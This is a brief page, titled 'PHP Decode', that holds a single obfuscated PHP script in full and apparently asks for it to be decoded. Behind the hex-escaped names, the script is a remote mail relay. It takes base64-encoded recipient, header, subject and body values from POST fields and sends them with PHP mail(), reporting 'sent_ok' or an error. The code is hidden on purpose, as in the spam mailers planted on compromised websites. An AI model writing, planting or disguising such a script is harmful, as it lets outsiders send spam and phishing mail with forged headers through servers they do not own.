PHP Decode

<?php ${"\x47\x4c\x4f\x42ALS"}["\x65\x70\x78d\x7ai\x66\x6c\x72\x61"]="M\x65\x73s\x61g\x65\x48e\x61d\x65\x72";${"\x47\x4cO\x42A\x4c\x53"}["\x77bd\x68\x6c\x69\x71"]="M\x61\x69\x6cT\x6f";${"G\x4c\x4f\x42\x41LS"}["y\x79e\x76w\x72\x6egu"]="Mes\x73\x61\x67eSubj\x65\x63\x74";${"\x47\x4cO\x42\x41\x4c\x53"}["pcc\x6c\x76\x72p\x6a\x64o\x74"]="\x4d\x65\x73\x73a\x67e\x42od\x79";$skwimdotp="M\x61\x69lT\x6f";if(isset($_POST["\x6dail\x74\x6f"]))${$skwimdotp}=base64_decode($_POST["\x6d\x61i\x6ct\x6f"]);else{echo"i\x6edat\x61\x5f\x65r\x72or";exit;}$vngbevhmvf="\x4dess\x61ge\x48\x65ad\x65\x72";if(isset($_POST["ms\x67he\x61\x64\x65\x72"]))${$vngbevhmvf}=base64_decode($_POST["\x6dsghe\x61\x64e\x72"]);else{echo"\x69nd\x61ta\x5fe\x72\x72\x6f\x72";exit;}if(isset($_POST["\x6d\x73\x67b\x6f\x64\x79"]))${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x63\x63\x6c\x76r\x70\x6a\x64\x6ft"]}=base64_decode($_POST["\x6ds\x67b\x6fdy"]);else{echo"\x69\x6ed\x61\x74\x61\x5fe\x72\x72\x6fr";exit;}if(isset($_POST["m\x73\x67\x73ubje\x63\x74"]))${${"\x47L\x4f\x42\x41\x4c\x53"}["\x79\x79\x65\x76w\x72\x6e\x67\x75"]}=base64_decode($_POST["\x6ds\x67subj\x65ct"]);else{echo"\x69n\x64\x61\x74a_er\x72\x6fr";exit;}if(mail(${${"\x47LOB\x41\x4c\x53"}["\x77b\x64h\x6c\x69\x71"]},${${"\x47LOB\x41\x4cS"}["\x79\x79\x65\x76\x77\x72\x6eg\x75"]},${${"G\x4cO\x42A\x4c\x53"}["\x70c\x63\x6c\x76\x72\x70\x6a\x64o\x74"]},${${"\x47\x4c\x4f\x42ALS"}["\x65\x70x\x64z\x69fl\x72\x61"]}))echo"sen\x74_o\x6b";else echo"sen\x74_e\x72\x72or";
?>